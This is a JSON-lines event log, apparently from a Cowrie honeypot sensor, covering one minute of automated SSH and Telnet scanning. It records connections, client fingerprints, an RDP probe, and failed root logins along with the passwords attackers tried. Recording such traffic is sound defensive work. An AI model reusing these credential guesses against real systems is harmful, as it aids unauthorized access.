{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:7b:64:4b:11:c3:9a:4a:0e:54:a0:0a:ce:4c:67:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlmbg9g2RDtG0hhJpvulCFgTuK10XSK9EXbtdW2YayhkEMsTa9vYRvc76uuUC+I3A1obhCVv3v9bH23rTPD49LJyf63lZvQqzzq2mJ1SZTfq49hQ/SrIqCfBXV0skdpdWRVU6TbV2iT0aFry9lJa0tSzfVSD6yeoVnQFhgiXPfjOf1ikk9EhPdHlnc0tincqdGjkPECQUVSobO4SdyoWmtSQTCEMp6u8CVq2wLb5mjFsUhbJHMrLHrWGG0yvjWSQzhJYjwTDyUT68sk/7X+dTmJDNgZuy3exivUdhkeR9c668mt9raSk/SSr4aP4hMLlUukqv1bzGGACMJ5NBw37TR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:02.639484Z","src_ip":"23.94.200.194","session":"bf71770cd593","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:8d:60:86:75:72:1b:c5:57:34:4b:de:15:a3:d6:73","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAL0NOsxlErk/CQe4KsGFgzKDnxdDvkps8dkGLuTKTPr3eo6YZR5pjTy049DM5wW0NJ4ycUoUPkS02VsH4XwB5/wAcvkihsatghDBYEB66Aqu5FyWf+WDEtLfGry/MwsggxnOBMCEQpPiqzO92zyYroRTEkWOgI6I8luEF4Y8oIvnAAAAFQCfRGE7Om/cQdWpcbyYBFIuuiFg/wAAAIBIrONFc/6OC4rs/ZIHP/iaJav+zpZ8IoO42ZrT6XdXwXvLuZNtV7AZhObYZJC6AwJbyFQozxdnmLldYB83SStf9QhuOtIONLnQMQVhI43clre2fX6i+b0lPFzq4yK5L9z0T5e+7nX0zFleeMG+51gJGlQfccy7dDITg8z36+ABAwAAAIEArhakWIVw90p4eVI/mso36OIVcwYbHeCPVGG0wxLNsX7FYF21vM3RHzeURJWOx9rxb7fV5IIuZ+YlsolqtNSQ1VyyhHrhT6X5wMWDc1goNmmVut+PyXErNDuCvmp3cmKj9gDnjD+DVv/t2u3MENNnjtsv+Xos4ixpg053MxKSF48=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint de:8d:60:86:75:72:1b:c5:57:34:4b:de:15:a3:d6:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:02.675112Z","src_ip":"23.94.200.194","session":"bf71770cd593","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:8d:60:86:75:72:1b:c5:57:34:4b:de:15:a3:d6:73","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAL0NOsxlErk/CQe4KsGFgzKDnxdDvkps8dkGLuTKTPr3eo6YZR5pjTy049DM5wW0NJ4ycUoUPkS02VsH4XwB5/wAcvkihsatghDBYEB66Aqu5FyWf+WDEtLfGry/MwsggxnOBMCEQpPiqzO92zyYroRTEkWOgI6I8luEF4Y8oIvnAAAAFQCfRGE7Om/cQdWpcbyYBFIuuiFg/wAAAIBIrONFc/6OC4rs/ZIHP/iaJav+zpZ8IoO42ZrT6XdXwXvLuZNtV7AZhObYZJC6AwJbyFQozxdnmLldYB83SStf9QhuOtIONLnQMQVhI43clre2fX6i+b0lPFzq4yK5L9z0T5e+7nX0zFleeMG+51gJGlQfccy7dDITg8z36+ABAwAAAIEArhakWIVw90p4eVI/mso36OIVcwYbHeCPVGG0wxLNsX7FYF21vM3RHzeURJWOx9rxb7fV5IIuZ+YlsolqtNSQ1VyyhHrhT6X5wMWDc1goNmmVut+PyXErNDuCvmp3cmKj9gDnjD+DVv/t2u3MENNnjtsv+Xos4ixpg053MxKSF48=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:02.679631Z","src_ip":"23.94.200.194","session":"bf71770cd593","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:02.713434Z","src_ip":"23.94.200.194","session":"bf71770cd593","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":70.54877161979675,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:04.037551Z","src_ip":"152.42.224.71","session":"07efbad771f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52240,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a7db740783a","protocol":"telnet","message":"New connection: 152.42.224.71:52240 (10.17.0.5:23) [session: 3a7db740783a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:07.479657Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.70.247","src_port":43470,"dst_ip":"10.17.0.5","dst_port":22,"session":"01fee57eb153","protocol":"ssh","message":"New connection: 43.153.70.247:43470 (10.17.0.5:22) [session: 01fee57eb153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:22.778951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:22.783927Z","src_ip":"43.153.70.247","session":"01fee57eb153","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:22.852768Z","src_ip":"43.153.70.247","session":"01fee57eb153","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k0nig12*","message":"login attempt [root/k0nig12*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:23.162663Z","src_ip":"43.153.70.247","session":"01fee57eb153","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:24.234855Z","src_ip":"43.153.70.247","session":"01fee57eb153","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00145530700684,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:25.084054Z","src_ip":"152.42.224.71","session":"b94e5b2bb38e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36252,"dst_ip":"10.17.0.5","dst_port":23,"session":"814c94cde28b","protocol":"telnet","message":"New connection: 152.42.224.71:36252 (10.17.0.5:23) [session: 814c94cde28b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:33.077405Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36262,"dst_ip":"10.17.0.5","dst_port":23,"session":"68a56c4020cb","protocol":"telnet","message":"New connection: 152.42.224.71:36262 (10.17.0.5:23) [session: 68a56c4020cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:35.113525Z"}
{"eventid":"cowrie.session.connect","src_ip":"120.157.255.22","src_port":59252,"dst_ip":"159.203.135.109","dst_port":23,"session":"184cde2eb213","protocol":"telnet","message":"New connection: 120.157.255.22:59252 (159.203.135.109:23) [session: 184cde2eb213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:43.847776Z"}
{"eventid":"cowrie.session.closed","duration":120.0071349143982,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:49.802862Z","src_ip":"152.42.224.71","session":"2c259c740f8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.227752923965454,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:51.707310Z","src_ip":"152.42.224.71","session":"3a7db740783a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.591805219650269,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:57.439495Z","src_ip":"120.157.255.22","session":"184cde2eb213","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36354,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfe23f1ee5c1","protocol":"telnet","message":"New connection: 152.42.224.71:36354 (10.17.0.5:23) [session: bfe23f1ee5c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:00.506834Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.237.112.218","src_port":46089,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f3c9dd220c8","protocol":"telnet","message":"New connection: 99.237.112.218:46089 (10.17.0.5:23) [session: 8f3c9dd220c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:00.964063Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":56672,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f20a6e1210a","protocol":"ssh","message":"New connection: 109.237.96.109:56672 (10.17.0.5:22) [session: 9f20a6e1210a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:02.856389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:02.863711Z","src_ip":"109.237.96.109","session":"9f20a6e1210a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:05.134020Z","src_ip":"109.237.96.109","session":"9f20a6e1210a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"l123456","message":"login attempt [root/l123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:06.177450Z","src_ip":"109.237.96.109","session":"9f20a6e1210a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":53246,"dst_ip":"10.17.0.5","dst_port":22,"session":"b584324efb9c","protocol":"ssh","message":"New connection: 152.42.212.128:53246 (10.17.0.5:22) [session: b584324efb9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:07.519464Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:07.524566Z","src_ip":"152.42.212.128","session":"b584324efb9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:07.528132Z","src_ip":"152.42.212.128","session":"b584324efb9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":50036,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2c573a61bb3","protocol":"ssh","message":"New connection: 103.149.170.125:50036 (159.203.135.109:22) [session: d2c573a61bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:07.573834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:07.581135Z","src_ip":"103.149.170.125","session":"d2c573a61bb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:07.852081Z","src_ip":"103.149.170.125","session":"d2c573a61bb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:08.156120Z","src_ip":"109.237.96.109","session":"9f20a6e1210a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q1q1q1q","message":"login attempt [root/1q1q1q1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:08.674115Z","src_ip":"103.149.170.125","session":"d2c573a61bb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:09.958332Z","src_ip":"103.149.170.125","session":"d2c573a61bb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.09466338157654,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:10.171974Z","src_ip":"152.42.224.71","session":"814c94cde28b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.954340696334839,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:13.918294Z","src_ip":"99.237.112.218","session":"8f3c9dd220c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00277733802795,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:15.296352Z","src_ip":"152.42.224.71","session":"f130811a4594","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52506,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2142cd0f813","protocol":"telnet","message":"New connection: 152.42.224.71:52506 (10.17.0.5:23) [session: b2142cd0f813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:15.731390Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":45180,"dst_ip":"10.17.0.5","dst_port":22,"session":"6341acf7e7d4","protocol":"ssh","message":"New connection: 45.137.172.116:45180 (10.17.0.5:22) [session: 6341acf7e7d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:16.473571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:16.478661Z","src_ip":"45.137.172.116","session":"6341acf7e7d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:16.575652Z","src_ip":"45.137.172.116","session":"6341acf7e7d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"india123","message":"login attempt [root/india123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:16.996505Z","src_ip":"45.137.172.116","session":"6341acf7e7d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:18.104434Z","src_ip":"45.137.172.116","session":"6341acf7e7d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.158","src_port":63276,"dst_ip":"159.203.135.109","dst_port":22,"session":"f489e6f8ef91","protocol":"ssh","message":"New connection: 45.153.34.158:63276 (159.203.135.109:22) [session: f489e6f8ef91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:18.383945Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:18.388887Z","src_ip":"45.153.34.158","session":"f489e6f8ef91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.158","src_port":63284,"dst_ip":"159.203.135.109","dst_port":22,"session":"a53ae6633ffd","protocol":"ssh","message":"New connection: 45.153.34.158:63284 (159.203.135.109:22) [session: a53ae6633ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:18.531526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:18.536854Z","src_ip":"45.153.34.158","session":"a53ae6633ffd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:18.621884Z","src_ip":"45.153.34.158","session":"a53ae6633ffd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lj123456","message":"login attempt [root/lj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:18.916142Z","src_ip":"45.153.34.158","session":"a53ae6633ffd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:20.004327Z","src_ip":"45.153.34.158","session":"a53ae6633ffd","protocol":"ssh"}
